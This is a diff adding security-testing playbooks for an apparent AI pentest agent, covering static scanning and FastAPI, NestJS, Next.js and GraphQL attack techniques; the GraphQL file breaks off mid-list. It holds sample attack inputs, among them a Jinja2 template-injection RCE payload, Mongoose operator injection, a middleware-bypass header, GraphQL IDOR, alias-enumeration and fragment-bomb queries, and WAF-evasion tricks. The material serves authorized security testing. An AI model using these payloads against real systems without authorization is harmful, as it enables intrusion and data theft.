+semgrep scan --config auto --json --output /workspace/.strix-source-aware/semgrep-auto.json . +``` + +If diff scope is active, restrict to changed files first, then expand only when needed. + +## AST-Grep Structural Mapping + +Use `sg` for structure-aware code hunting: + +```bash +# Ruleless structural pass over deterministic target list (no sgconfig.yml required) +xargs -r -n 200 sg run --pattern '$F($$$ARGS)' --json=stream \ + < /workspace/.strix-source-aware/sg-targets.txt \ + > /workspace/.strix-source-aware/ast-grep.json 2> /workspace/.strix-source-aware/ast-grep.log || true +``` + +Target high-value patterns such as: +- missing auth checks near route handlers +- dynamic command/query construction +- unsafe deserialization or template execution paths +- file and path operations influenced by user input + +## Tree-Sitter Assisted Repo Mapping + +Use tree-sitter CLI for syntax-aware parsing when grep-level mapping is noisy: + +```bash +tree-sitter parse -q +``` + +Use outputs to improve route/symbol/sink maps for subsequent targeted scans. + +## Secret and Supply Chain Coverage + +Detect hardcoded credentials: + +```bash +gitleaks detect --source . --report-format json --report-path /workspace/.strix-source-aware/gitleaks.json +trufflehog filesystem --json . > /workspace/.strix-source-aware/trufflehog.json +``` + +Run repository-wide dependency and config checks: + +```bash +trivy fs --scanners vuln,misconfig --timeout 30m --offline-scan \ + --format json --output /workspace/.strix-source-aware/trivy-fs.json . || true +``` + +## Converting Static Signals Into Exploits + +1. Rank candidates by impact and exploitability. +2. Trace source-to-sink flow for top candidates. +3. Build dynamic PoCs that reproduce the suspected issue. +4. Report only after dynamic validation succeeds. + +## Wiki Update Template + +Keep one wiki note per repository and update these sections: + +```text +## Architecture +## Entrypoints +## AuthN/AuthZ +## High-Risk Sinks +## Static Findings Summary +## Dynamic Validation Follow-Ups +``` + +Before `agent_finish`, make one final `update_note` call to capture: +- scanner artifacts and paths +- top validated/invalidated hypotheses +- concrete dynamic follow-up tasks + +## Anti-Patterns + +- Do not treat scanner output as final truth. +- Do not spend full cycles on low-signal pattern matches. +- Do not report source-only findings without validation evidence. +- Do not create multiple wiki notes for the same repository when one already exists. diff --git a/imported-skills/strix/skills/frameworks/fastapi.md b/imported-skills/strix/skills/frameworks/fastapi.md new file mode 100644 index 0000000000000000000000000000000000000000..218717ef1b4f6ddfe7184454aec8cd16b50b874a --- /dev/null +++ b/imported-skills/strix/skills/frameworks/fastapi.md @@ -0,0 +1,191 @@ +--- +name: fastapi +description: Security testing playbook for FastAPI applications covering ASGI, dependency injection, and API vulnerabilities +--- + +# FastAPI + +Security testing for FastAPI/Starlette applications. Focus on dependency injection flaws, middleware gaps, and authorization drift across routers and channels. + +## Attack Surface + +**Core Components** +- ASGI middlewares: CORS, TrustedHost, ProxyHeaders, Session, exception handlers, lifespan events +- Routers and sub-apps: APIRouter prefixes/tags, mounted apps (StaticFiles, admin), `include_router`, versioned paths +- Dependency injection: `Depends`, `Security`, `OAuth2PasswordBearer`, `HTTPBearer`, scopes + +**Data Handling** +- Pydantic models: v1/v2, unions/Annotated, custom validators, extra fields policy, coercion +- File operations: UploadFile, File, FileResponse, StaticFiles mounts +- Templates: Jinja2Templates rendering + +**Channels** +- HTTP (sync/async), WebSocket, SSE/StreamingResponse +- BackgroundTasks and task queues + +**Deployment** +- Uvicorn/Gunicorn, reverse proxies/CDN, TLS termination, header trust + +## High-Value Targets + +- `/openapi.json`, `/docs`, `/redoc` in production (full attack surface map, securitySchemes, server URLs) +- Auth flows: token endpoints, session/cookie bridges, OAuth device/PKCE +- Admin/staff routers, feature-flagged routes, `include_in_schema=False` endpoints +- File upload/download, import/export/report endpoints, signed URL generators +- WebSocket endpoints (notifications, admin channels, commands) +- Background job endpoints (`/jobs/{id}`, `/tasks/{id}/result`) +- Mounted subapps (admin UI, storage browsers, metrics/health) + +## Reconnaissance + +**OpenAPI Mining** +``` +GET /openapi.json +GET /docs +GET /redoc +GET /api/openapi.json +GET /internal/openapi.json +``` + +Extract: paths, parameters, securitySchemes, scopes, servers. Endpoints with `include_in_schema=False` won't appear—fuzz based on discovered prefixes and common admin/debug names. + +**Dependency Mapping** + +For each route, identify: +- Router-level dependencies (applied to all routes) +- Route-level dependencies (per endpoint) +- Which dependencies enforce auth vs just parse input + +## Key Vulnerabilities + +### Authentication & Authorization + +**Dependency Injection Gaps** +- Routes missing security dependencies present on other routes +- `Depends` used instead of `Security` (ignores scope enforcement) +- Token presence treated as authentication without signature verification +- `OAuth2PasswordBearer` only yields a token string—verify routes don't treat presence as auth + +**JWT Misuse** +- Decode without verify: test unsigned tokens, attacker-signed tokens +- Algorithm confusion: HS256/RS256 cross-use if not pinned +- `kid` header injection for custom key lookup paths +- Missing issuer/audience validation, cross-service token reuse + +**Session Weaknesses** +- SessionMiddleware with weak `secret_key` +- Session fixation via predictable signing +- Cookie-based auth without CSRF protection + +**OAuth/OIDC** +- Device/PKCE flows: verify strict PKCE S256 and state/nonce enforcement + +### Access Control + +**IDOR via Dependencies** +- Object IDs in path/query not validated against caller +- Tenant headers trusted without binding to authenticated user +- BackgroundTasks acting on IDs without re-validating ownership at execution time +- Export/import pipelines with IDOR and cross-tenant leaks + +**Scope Bypass** +- Minimal scope satisfaction (any valid token accepted) +- Router vs route scope enforcement inconsistency + +### Input Handling + +**Pydantic Exploitation** +- Type coercion: strings to ints/bools, empty strings to None, truthiness edge cases +- Extra fields: `extra = "allow"` permits injecting control fields (role, ownerId, scope) +- Union types and `Annotated`: craft shapes hitting unintended validation branches + +**Content-Type Switching** +``` +application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data +``` +Different content types hit different validators or code paths (parser differentials). + +**Parameter Manipulation** +- Case variations in header/cookie names +- Duplicate parameters exploiting DI precedence +- Method override via `X-HTTP-Method-Override` (upstream respects, app doesn't) + +### CORS & CSRF + +**CORS Misconfiguration** +- Overly broad `allow_origin_regex` +- Origin reflection without validation +- Credentialed requests with permissive origins +- Verify preflight vs actual request deltas + +**CSRF Exposure** +- No built-in CSRF in FastAPI/Starlette +- Cookie-based auth without origin validation +- Missing SameSite attribute + +### Proxy & Host Trust + +**Header Spoofing** +- ProxyHeadersMiddleware without network boundary: spoof `X-Forwarded-For/Proto` to influence auth/IP gating +- Absent TrustedHostMiddleware: Host header poisoning in password reset links, absolute URL generation +- Cache key confusion: missing Vary on Authorization/Cookie/Tenant + +### Server-Side Vulnerabilities + +**Template Injection (Jinja2)** +```python +{{7*7}} # Arithmetic confirmation +{{cycler.__init__.__globals__['os'].popen('id').read()}} # RCE +``` +Check autoescape settings and custom filters/globals. + +**SSRF** +- User-supplied URLs in imports, previews, webhooks validation +- Test: loopback, RFC1918, IPv6, redirects, DNS rebinding, header control +- Library behavior (httpx/requests): redirect policy, header forwarding, protocol support +- Protocol smuggling: `file://`, `ftp://`, gopher-like shims if custom clients + +**File Upload** +- Path traversal in `UploadFile.filename` with control characters +- Missing storage root enforcement, symlink following +- Vary filename encodings, dot segments, NUL-like bytes +- Verify storage paths and served URLs + +### WebSocket Security + +- Missing per-connection authentication +- Cross-origin WebSocket without origin validation +- Topic/channel IDOR (subscribing to other users' channels) +- Authorization only at handshake, not per-message + +### Mounted Apps + +Sub-apps at `/admin`, `/static`, `/metrics` may bypass global middlewares. Verify auth enforcement parity across all mounts. + +### Alternative Stacks + +- If GraphQL (Strawberry/Graphene) is mounted: validate resolver-level authorization, IDOR on node/global IDs +- If SQLModel/SQLAlchemy present: probe for raw query usage and row-level authorization gaps + +## Bypass Techniques + +- Content-type switching to traverse alternate validators +- Parameter duplication and case variants exploiting DI precedence +- Method confusion via proxies (`X-HTTP-Method-Override`) +- Race windows around dependency-validated state transitions (issue token then mutate with parallel requests) + +## Testing Methodology + +1. **Enumerate** - Fetch OpenAPI, diff with 404-fuzzing for hidden endpoints +2. **Matrix testing** - Test each route across: unauth/user/admin × HTTP/WebSocket × JSON/form/multipart +3. **Dependency analysis** - Map which dependencies enforce auth vs parse input +4. **Cross-environment** - Compare dev/stage/prod for middleware and docs exposure differences +5. **Channel consistency** - Verify same authorization on HTTP and WebSocket for equivalent operations + +## Validation Requirements + +- Side-by-side requests showing unauthorized access (owner vs non-owner, cross-tenant) +- Cross-channel proof (HTTP and WebSocket for same rule) +- Header/proxy manipulation showing altered outcomes (Host/XFF/CORS) +- Minimal payloads for template injection, SSRF, token misuse with safe/OAST oracles +- Document exact dependency paths (router-level, route-level) that missed enforcement diff --git a/imported-skills/strix/skills/frameworks/nestjs.md b/imported-skills/strix/skills/frameworks/nestjs.md new file mode 100644 index 0000000000000000000000000000000000000000..0132a76e51c92339b8e96a8f253aa402dfb2009f --- /dev/null +++ b/imported-skills/strix/skills/frameworks/nestjs.md @@ -0,0 +1,225 @@ +--- +name: nestjs +description: Security testing playbook for NestJS applications covering guards, pipes, decorators, module boundaries, and multi-transport auth +--- + +# NestJS + +Security testing for NestJS applications. Focus on guard gaps across decorator stacks, validation pipe bypasses, module boundary leaks, and inconsistent auth enforcement across HTTP, WebSocket, and microservice transports. + +## Attack Surface + +**Decorator Pipeline** +- Guards: `@UseGuards`, `CanActivate`, execution context (HTTP/WS/RPC), `Reflector` metadata +- Pipes: `ValidationPipe` (whitelist, transform, forbidNonWhitelisted), `ParseIntPipe`, custom pipes +- Interceptors: response mapping, caching, logging, timeout — can modify request/response flow +- Filters: exception filters that may leak information +- Metadata: `@SetMetadata`, `@Public()`, `@Roles()`, `@Permissions()` + +**Module System** +- `@Module` boundaries, provider scoping (DEFAULT/REQUEST/TRANSIENT) +- Dynamic modules: `forRoot`/`forRootAsync`, global modules +- DI container: provider overrides, custom providers + +**Controllers & Transports** +- REST: `@Controller`, versioning (URI/Header/MediaType) +- GraphQL: `@Resolver`, playground/sandbox exposure +- WebSocket: `@WebSocketGateway`, gateway guards, room authorization +- Microservices: TCP, Redis, NATS, MQTT, gRPC, Kafka — often lack HTTP-level auth + +**Data Layer** +- TypeORM: repositories, QueryBuilder, raw queries, relations +- Prisma: `$queryRaw`, `$queryRawUnsafe` +- Mongoose: operator injection, `$where`, `$regex` + +**Auth & Config** +- `@nestjs/passport` strategies, `@nestjs/jwt`, session-based auth +- `@nestjs/config`, ConfigService, `.env` files +- `@nestjs/throttler`, rate limiting with `@SkipThrottle` + +**API Documentation** +- `@nestjs/swagger`: OpenAPI exposure, DTO schemas, auth schemes + +## High-Value Targets + +- Swagger/OpenAPI endpoints in production (`/api`, `/api-docs`, `/api-json`, `/swagger`) +- Auth endpoints: login, register, token refresh, password reset, OAuth callbacks +- Admin controllers decorated with `@Roles('admin')` — test with user-level tokens +- File upload endpoints using `FileInterceptor`/`FilesInterceptor` +- WebSocket gateways sharing business logic with HTTP controllers +- Microservice handlers (`@MessagePattern`, `@EventPattern`) — often unguarded +- CRUD generators (`@nestjsx/crud`) with auto-generated endpoints +- Background jobs and scheduled tasks (`@nestjs/schedule`) +- Health/metrics endpoints (`@nestjs/terminus`, `/health`, `/metrics`) +- GraphQL playground/sandbox in production (`/graphql`) + +## Reconnaissance + +**Swagger Discovery** +``` +GET /api +GET /api-docs +GET /api-json +GET /swagger +GET /docs +GET /v1/api-docs +GET /api/v2/docs +``` + +Extract: paths, parameter schemas, DTOs, auth schemes, example values. Swagger may reveal internal endpoints, deprecated routes, and admin-only paths not visible in the UI. + +**Guard Mapping** + +For each controller and method, identify: +- Global guards (applied in `main.ts` or app module) +- Controller-level guards (`@UseGuards` on the class) +- Method-level guards (`@UseGuards` on individual handlers) +- `@Public()` or `@SkipThrottle()` decorators that bypass protection + +## Key Vulnerabilities + +### Guard Bypass + +**Decorator Stack Gaps** +- Guards execute: global → controller → method. A method missing `@UseGuards` when siblings have it is the #1 finding. +- `@Public()` metadata causing global `AuthGuard` to skip enforcement — check if applied too broadly. +- New methods added to existing controllers without inheriting the expected guard. + +**ExecutionContext Switching** +- Guards handling only HTTP context (`getRequest()`) may fail silently on WebSocket or RPC, returning `true` by default. +- Test same business logic through alternate transports to find context-specific bypasses. + +**Reflector Mismatches** +- Guard reads `SetMetadata('roles', [...])` but decorator sets `'role'` (singular) — guard sees no metadata, defaults to allow. +- `applyDecorators()` compositions accidentally overriding stricter guards with permissive ones. + +### Validation Pipe Exploits + +**Whitelist Bypass** +- `whitelist: true` without `forbidNonWhitelisted: true`: extra properties silently stripped but may have been processed by earlier middleware/interceptors. +- Missing `@Type(() => ChildDto)` on nested objects: `@ValidateNested()` without `@Type` means nested payload is never validated. +- Array elements: `@IsArray()` doesn't validate elements without `@ValidateNested({ each: true })` and `@Type`. + +**Type Coercion** +- `transform: true` enables implicit coercion: strings → numbers, `"true"` → `true`, `"null"` → `null`. +- Exploit truthiness assumptions in business logic downstream. + +**Conditional Validation** +- `@ValidateIf()` and validation groups creating paths where fields skip validation entirely. + +**Missing Parse Pipes** +- `@Param('id')` without `ParseIntPipe`/`ParseUUIDPipe` — string values reach ORM queries directly. + +### Auth & Passport + +**JWT Strategy** +- Check `ignoreExpiration` is false, `algorithms` is pinned (no `none` or HS/RS confusion) +- Weak `secretOrKey` values +- Cross-service token reuse when audience/issuer not enforced + +**Passport Strategy Issues** +- `validate()` return value becomes `req.user` — if it returns full DB record, sensitive fields leak downstream +- Multiple strategies (JWT + session): one may bypass restrictions of the other +- Custom guards returning `true` for unauthenticated as "optional auth" + +**Timing Attacks** +- Plain string comparison instead of bcrypt/argon2 in local strategy + +### Serialization Leaks + +**Missing ClassSerializerInterceptor** +- If not applied globally, `@Exclude()` fields (passwords, internal IDs) returned in responses. +- `@Expose()` with groups: admin-only fields exposed when groups not enforced per-request. + +**Circular Relations** +- Eager-loaded TypeORM/Prisma relations exposing entire object graph without careful serialization. + +### Interceptor Abuse + +**Cache Poisoning** +- `CacheInterceptor` without user/tenant identity in cache key — responses from one user served to another. +- Test: authenticated request, then unauthenticated request returning cached data. + +**Response Mapping** +- Transformation interceptors may leak internal entity fields if mapping is incomplete. + +### Module Boundary Leaks + +**Global Module Exposure** +- `@Global()` modules expose all providers to every module without explicit imports. +- Sensitive services (admin operations, internal APIs) accessible from untrusted modules. + +**Config Leaks** +- `forRoot`/`forRootAsync` configuration secrets accessible via `ConfigService` injection in any module. + +**Scope Issues** +- Request-scoped providers (`Scope.REQUEST`) incorrectly scoped as DEFAULT (singleton) — request context leaks across concurrent requests. + +### WebSocket Gateway + +- HTTP guards don't automatically apply to WebSocket gateways — `@UseGuards` must be explicit. +- Authentication deferred from `handleConnection` to message handlers allows unauthenticated message sending. +- Room/namespace authorization: users joining rooms they shouldn't access. +- `@SubscribeMessage()` handlers relying on connection-level auth instead of per-message validation. + +### Microservice Transport + +- `@MessagePattern`/`@EventPattern` handlers often lack guards (considered "internal"). +- If transport (Redis, NATS, Kafka) is network-accessible, messages can be injected bypassing all HTTP security. +- `ValidationPipe` may only be configured for HTTP — microservice payloads skip validation. + +### ORM Injection + +**TypeORM** +- `QueryBuilder` and `.query()` with template literal interpolation → SQL injection. +- Relations: API allowing specification of which relations to load via query params. + +**Mongoose** +- Query operator injection: `{ password: { $gt: "" } }` via unsanitized request body. +- `$where` and `$regex` operators from user input. + +**Prisma** +- `$queryRaw`/`$executeRaw` with string interpolation (but not tagged template). +- `$queryRawUnsafe` usage. + +### Rate Limiting + +- `@SkipThrottle()` on sensitive endpoints (login, password reset, OTP). +- In-memory throttler storage: resets on restart, doesn't work across instances. +- Behind proxy without `trust proxy`: all requests share same IP, or header spoofable. + +### CRUD Generators + +- Auto-generated CRUD endpoints may not inherit manual guard configurations. +- Bulk operations (`createMany`, `updateMany`) bypassing per-entity authorization. +- Query parameter injection in CRUD libraries: `filter`, `sort`, `join`, `select` exposing unauthorized data. + +## Bypass Techniques + +- `@Public()` / skip-metadata applied via composed decorators at method level causing global guards to skip via `Reflector` metadata checks +- Route param pollution: `/users/123?id=456` — which `id` wins in guards vs handlers? +- Version routing: v1 of endpoint may still be registered without the guard added to v2 +- `X-HTTP-Method-Override` or `_method` processed by Express before guards +- Content-type switching: `application/x-www-form-urlencoded` instead of JSON to bypass JSON-specific validation +- Exception filter differences: guard throwing results in generic error that leaks route existence info + +## Testing Methodology + +1. **Enumerate** — Fetch Swagger/OpenAPI, map all controllers, resolvers, and gateways +2. **Guard audit** — Map decorator stack per method: which guards, pipes, interceptors are applied at each level +3. **Matrix testing** — Test each endpoint across: unauth/user/admin × HTTP/WS/microservice +4. **Validation probing** — Send extra fields, wrong types, nested objects, arrays to find pipe gaps +5. **Transport parity** — Same operation via HTTP, WebSocket, and microservice transport +6. **Module boundaries** — Check if providers from one module are accessible without proper imports +7. **Serialization check** — Compare raw entity fields with API response fields + +## Validation Requirements + +- Guard bypass: request to guarded endpoint succeeding without auth, showing guard chain break point +- Validation bypass: payload with extra/malformed fields affecting business logic +- Cross-transport inconsistency: same action authorized via HTTP but exploitable via WebSocket/microservice +- Module boundary leak: accessing provider or data across unauthorized module boundaries +- Serialization leak: response containing excluded fields (passwords, internal metadata) +- IDOR: side-by-side requests from different users showing unauthorized data access +- ORM injection: raw query with user-controlled input returning unauthorized data, or error-based evidence of query structure +- Cache poisoning: response from unauthenticated or different-user request matching a prior authenticated user's cached response diff --git a/imported-skills/strix/skills/frameworks/nextjs.md b/imported-skills/strix/skills/frameworks/nextjs.md new file mode 100644 index 0000000000000000000000000000000000000000..048fa03cb75946bd3071283907217031b519d60c --- /dev/null +++ b/imported-skills/strix/skills/frameworks/nextjs.md @@ -0,0 +1,228 @@ +--- +name: nextjs +description: Security testing playbook for Next.js covering App Router, Server Actions, RSC, and Edge runtime vulnerabilities +--- + +# Next.js + +Security testing for Next.js applications. Focus on authorization drift across runtimes (Edge/Node), caching boundaries, server actions, and middleware bypass. + +## Attack Surface + +**Routers** +- App Router (`app/`) and Pages Router (`pages/`) often coexist +- Route Handlers (`app/api/**`) and API routes (`pages/api/**`) +- Middleware: `middleware.ts` at project root + +**Runtimes** +- Node.js (full API access) +- Edge (V8 isolates, restricted APIs) + +**Rendering & Caching** +- SSR, SSG, ISR, on-demand revalidation +- RSC (React Server Components) with fetch cache +- Draft/preview mode + +**Data Paths** +- Server Components, Client Components +- Server Actions (streamed POST with `Next-Action` header) +- `getServerSideProps`, `getStaticProps` + +**Integrations** +- NextAuth.js (callbacks, CSRF, callbackUrl) +- `next/image` optimization and remote loaders + +## High-Value Targets + +- Middleware-protected routes (auth, geo, A/B) +- Admin/staff paths, draft/preview content, on-demand revalidate endpoints +- RSC payloads and flight data, streamed responses +- Image optimizer and custom loaders, remotePatterns/domains +- NextAuth callbacks (`/api/auth/callback/*`), sign-in providers +- Edge-only features (bot protection, IP gates) and their Node equivalents + +## Reconnaissance + +**Route Discovery** + +```javascript +// Browser console - list all routes +console.log(__BUILD_MANIFEST.sortedPages.join('\n')) + +// Inspect server-fetched data +JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props.pageProps + +// List public environment variables +Object.keys(process.env).filter(k => k.startsWith('NEXT_PUBLIC_')) +``` + +**Build Artifacts** +``` +GET /_next/static//_buildManifest.js +GET /_next/static//_ssgManifest.js +GET /_next/static/chunks/pages/ +GET /_next/static/chunks/app/ +``` +Chunk filenames map to routes (e.g., `admin.js` → `/admin`). + +**Source Maps** + +Check `/_next/static/` for exposed `.map` files revealing route structure, server action IDs, and internal functions. + +**Client Bundle Mining** + +Search main-*.js for: `pathname:`, `href:`, `__next_route__`, `serverActions`, API endpoints. Grep for `API_KEY`, `SECRET`, `TOKEN`, `PASSWORD` to find accidentally leaked credentials. + +**Server Action Discovery** + +Inspect Network tab for POST requests with `Next-Action` header. Extract action IDs from response streams and hydration data. + +**Additional Leakage** +- `/sitemap.xml`, `/robots.txt`, `/sitemap-*.xml` for unintended admin/internal/preview paths +- Client bundles/env for secret paths and preview/admin flags (many teams hide routes via UI only) + +## Key Vulnerabilities + +### Middleware Bypass + +**Known Techniques** +- `x-middleware-subrequest` header crafting (CVE-class bypass) +- `x-nextjs-data` probing +- Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers + +**Path Normalization** +``` +/api/users +/api/users/ +/api//users +/api/./users +``` +Middleware may normalize differently than route handlers. Test double slashes, trailing slashes, dot segments. + +**Parameter Pollution** +``` +?id=1&id=2 +?filter[]=a&filter[]=b +``` +Middleware checks first value, handler uses last or array. + +### Server Actions + +- Invoke actions outside UI flow with alternate content-types +- Authorization assumed from client state rather than enforced server-side +- IDOR via object references in action payloads +- Map action IDs from source maps to discover hidden actions + +### RSC & Caching + +**Cache Boundary Failures** +- User-bound data cached without identity keys (ETag/Set-Cookie unaware) +- Personalized content served from shared cache/CDN +- Missing `no-store` on sensitive fetches + +**Flight Data Leakage** + +Inspect streamed RSC payloads for serialized sensitive fields in props. + +**ISR Issues** +- Stale-while-revalidate responses containing user-specific or tenant-dependent data +- Weak secrets in on-demand revalidation endpoint URLs +- Referer-disclosed tokens or unvalidated hosts triggering `revalidatePath`/`revalidateTag` +- Header-smuggling or method variations to trigger revalidation + +### Authentication + +**NextAuth Pitfalls** +- Missing/relaxed state/nonce/PKCE per provider (login CSRF, token mix-up) +- Open redirect in `callbackUrl` or mis-scoped allowed hosts +- JWT audience/issuer not enforced across routes +- Cross-service token reuse +- Session hijacking by forcing callbacks + +**Session Boundaries** +- Different auth enforcement between App Router and Pages Router +- API routes vs Route Handlers authorization inconsistency + +### Data Exposure + +**__NEXT_DATA__ Over-fetching** + +Server-fetched data passed to client but not rendered: +- Full user objects when only username needed +- Internal IDs, tokens, admin-only fields +- ORM select-all patterns exposing entire records +- API responses forwarded without sanitization (metadata, cursors, debug info) + +**Environment-Dependent Exposure** +- Staging/dev accidentally exposes more fields than production +- Inconsistent serialization logic across environments + +**Props Inspection** +```javascript +// Check for sensitive data in page props +JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props +``` +Look for `_metadata`, `_internal`, `__typename` (GraphQL), nested sensitive objects. + +### Image Optimizer SSRF + +**Remote Patterns** +- Broad `images.domains`/`remotePatterns` in `next.config.js` +- Test: internal hosts, IPv4/IPv6 variants, DNS rebinding + +**Custom Loaders** +- Protocol smuggling via redirect chains +- Cache poisoning via URL normalization differences affecting other users + +### Runtime Divergence + +**Edge vs Node** +- Defenses relying on Node-only modules skipped on Edge +- Header trust differs (`x-forwarded-*` handling) +- Same route may behave differently across runtimes + +### Client-Side + +**XSS Vectors** +- `dangerouslySetInnerHTML` +- Markdown renderers +- User-controlled href/src attributes +- Validate CSP/Trusted Types coverage for SSR/CSR/hydration + +**Hydration Mismatches** + +Server vs client render differences can enable gadget-based XSS. + +### Draft/Preview Mode + +- Secret URLs/cookies enabling preview +- Preview secrets leaked in client bundles/env +- Setting preview cookies from subdomains or via open redirects + +## Bypass Techniques + +- Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded` +- Method override: `_method`, `X-HTTP-Method-Override`, GET on endpoints accepting writes +- Case/param aliasing and query duplication affecting middleware vs handler parsing +- Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers) + +## Testing Methodology + +1. **Enumerate** - Use `__BUILD_MANIFEST`, source maps, build artifacts, sitemap/robots to map all routes +2. **Runtime matrix** - Test each route under Edge and Node runtimes +3. **Role matrix** - Test as unauth/user/admin across SSR, API routes, Route Handlers, Server Actions +4. **Cache probing** - Verify caching respects identity (strip cookies, alter Vary headers, check ETags) +5. **Middleware validation** - Test path variants and header manipulation for bypass +6. **Cross-router** - Compare authorization between App Router and Pages Router paths + +## Validation Requirements + +- Side-by-side requests showing cross-user/tenant access +- Cache boundary failure proof (response diffs, ETag collisions) +- Server action invocation outside UI with insufficient auth +- Middleware bypass with explicit headers showing protected content access +- Runtime parity checks (Edge vs Node inconsistent enforcement) +- Discovered routes verified as deployed (200/403) not just build artifacts (404) +- Leaked credentials tested with minimal read-only calls; filter placeholders +- `__NEXT_DATA__` exposure: verify cross-user (User A's props shouldn't contain User B's PII), confirm exposed fields not in DOM +- Path normalization bypasses: show differential responses (403 vs 200), redirects don't count diff --git a/imported-skills/strix/skills/protocols/graphql.md b/imported-skills/strix/skills/protocols/graphql.md new file mode 100644 index 0000000000000000000000000000000000000000..2b3162e43939b38f276dd48114c9d959863eb5bf --- /dev/null +++ b/imported-skills/strix/skills/protocols/graphql.md @@ -0,0 +1,276 @@ +--- +name: graphql +description: GraphQL security testing covering introspection, resolver injection, batching attacks, and authorization bypass +--- + +# GraphQL + +Security testing for GraphQL APIs. Focus on resolver-level authorization, field/edge access control, batching abuse, and federation trust boundaries. + +## Attack Surface + +**Operations** +- Queries, mutations, subscriptions +- Persisted queries / Automatic Persisted Queries (APQ) + +**Transports** +- HTTP POST/GET with `application/json` or `application/graphql` +- WebSocket: graphql-ws, graphql-transport-ws protocols +- Multipart for file uploads + +**Schema Features** +- Introspection (`__schema`, `__type`) +- Directives: `@defer`, `@stream`, custom auth directives (@auth, @private) +- Custom scalars: Upload, JSON, DateTime +- Relay: global node IDs, connections/cursors, interfaces/unions + +**Architecture** +- Federation (Apollo, GraphQL Mesh): `_service`, `_entities` +- Gateway vs subgraph authorization boundaries + +## Reconnaissance + +**Endpoint Discovery** +``` +POST /graphql {"query":"{__typename}"} +POST /api/graphql {"query":"{__typename}"} +POST /v1/graphql {"query":"{__typename}"} +POST /gql {"query":"{__typename}"} +GET /graphql?query={__typename} +``` + +Check for GraphiQL/Playground exposure with credentials enabled (cross-origin with cookies can leak data via postMessage bridges). + +**Schema Acquisition** + +If introspection enabled: +```graphql +{__schema{types{name fields{name args{name}}}}} +``` + +If disabled, infer schema via: +- `__typename` probes on candidate fields +- Field suggestion errors (submit near-miss names to harvest suggestions) +- "Expected one of" errors revealing enum values +- Type coercion errors exposing field structure +- Error taxonomy: different codes for "unknown field" vs "unauthorized field" reveal existence + +**Schema Mapping** + +Map: root operations, object types, interfaces/unions, directives, custom scalars. Identify sensitive fields: email, tokens, roles, billing, API keys, admin flags, file URLs. Note cascade paths where child resolvers may skip auth under parent assumptions. + +## Key Vulnerabilities + +### Authorization Bypass + +**Field-Level IDOR** + +Test with aliases comparing owned vs foreign objects in single request: +```graphql +query { + own: order(id:"OWNED_ID") { id total owner { email } } + foreign: order(id:"FOREIGN_ID") { id total owner { email } } +} +``` + +**Edge/Child Resolver Gaps** + +Parent resolver checks auth, child resolver assumes it's already validated: +```graphql +query { + user(id:"FOREIGN") { + id + privateData { secrets } # Child may skip auth check + } +} +``` + +**Relay Node Resolution** + +Decode base64 global IDs, swap type/id pairs: +```graphql +query { + node(id:"VXNlcjoxMjM=") { ... on User { email } } +} +``` +Ensure per-type authorization is enforced inside resolvers. Verify connection filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries. + +**Mutation Bypass** +- Probe mutations for partial updates bypassing validation (JSON Merge Patch semantics) +- Test mutations that accept extra fields passed to downstream logic + +### Batching & Alias Abuse + +**Enumeration via Aliases** +```graphql +query { + u1:user(id:"1"){email} + u2:user(id:"2"){email} + u3:user(id:"3"){email} +} +``` +Bypasses per-request rate limits; exposes per-field vs per-request auth inconsistencies. + +**Array Batching** + +If supported (non-standard), submit multiple operations to achieve partial failures and bypass limits. + +### Input Manipulation + +**Type Confusion** +``` +{id: 123} vs {id: "123"} +{id: [123]} vs {id: null} +{id: 0} vs {id: -1} +``` + +**Duplicate Keys** +```json +{"id": 1, "id": 2} +``` +Parser precedence varies; may bypass validation. Also test default argument values. + +**Extra Fields** + +Send unexpected keys in input objects; backends may pass them to resolvers or downstream logic. + +### Cursor Manipulation + +Decode cursors (usually base64) to: +- Manipulate offsets/IDs +- Skip filters +- Cross ownership boundaries + +### Directive Abuse + +**@defer/@stream** +```graphql +query { + me { id } + ... @defer { adminPanel { secrets } } +} +``` +May return gated data in incremental delivery. Confirm server supports incremental delivery. + +**Custom Directives** + +@auth, @private and similar directives often annotate intent but do not enforce—verify actual checks in each resolver path. + +### Complexity Attacks + +**Fragment Bombs** +```graphql +fragment x on User { friends { ...x } } +query { me { ...x } } +``` +Test depth/complexity limits, query cost analyzers, timeouts. + +**Wide Selection Sets** + +Abuse selection sets and fragments to force overfetching of sensitive subfields. + +### Federation Exploitation + +**SDL Exposure** +```graphql +query { _service { sdl } } +``` + +**Entity Materialization** +```graphql +query { + _entities(representations:[ + {__typename:"User", id:"TARGET_ID"} + ]) { ... on User { email roles } } +} +``` +Gateway may enforce auth; subgraph resolvers may not. Look for cross-subgraph IDOR via inconsistent ownership checks. + +### Subscription Security + +- Authorization at handshake only, not per-message +- Subscribe to other users' channels via filter args +- Cross-tenant event leakage +- Abuse filter args in subscription resolvers to reference foreign IDs + +### Persisted Query Abuse + +- APQ hashes leaked from client bundles +- Replay privileged operations with attacker variables +- Hash bruteforce for common operations +- Validate hash→operation mapping enforces principal and operation allowlists + +### CORS & CSRF + +- Cookie-auth with GET queries enables CSRF on mutations via query parameters +- GraphiQL/Playground cross-origin with credentials leaks data +- Missing SameSite and origin validation + +### File Uploads + +GraphQL multipart spec: +- Multiple Upload scalars +- Filename/path traversal tricks +- Unexpected content-types, oversize chunks +- Server-side ownership/scoping for returned URLs + +## WAF Evasion + +**Query Reshaping** +- Comments and block strings (`"""..."""`) +- Unicode escapes +- Alias/fragment indirection +- JSON variables vs inline args +- GET vs POST vs `application/graphql` + +**Fragment Splitting** + +Split fields across fragments and inline spreads to avoid naive signatures: +```graphql +fragment a on User { email } +fragment b on User { password } +query { me { ...a ...b } } +``` + +## Bypass Techniques + +**Transport Switching** +``` +Content-Type: application/json +Content-Type: application/graphql +Content-Type: multipart/form-data +GET with query params +``` + +**Timing & Rate Limits** +- HTTP/2 multiplexing and connection reuse to widen timing windows +- Batching to bypass rate limits + +**Naming Tricks** +- Case/underscore variations +- Unicode homoglyphs (server-dependent) +- Aliases masking sensitive field names + +**Cache Confusion** +- CDN caching without Vary on Authorization +- Variable manipulation affecting cache keys +- Redirects and 304/206 behaviors leaking partial responses + +## Testing Methodology + +1. **Fingerprint** - Identify endpoints, transports, stack (Apollo, 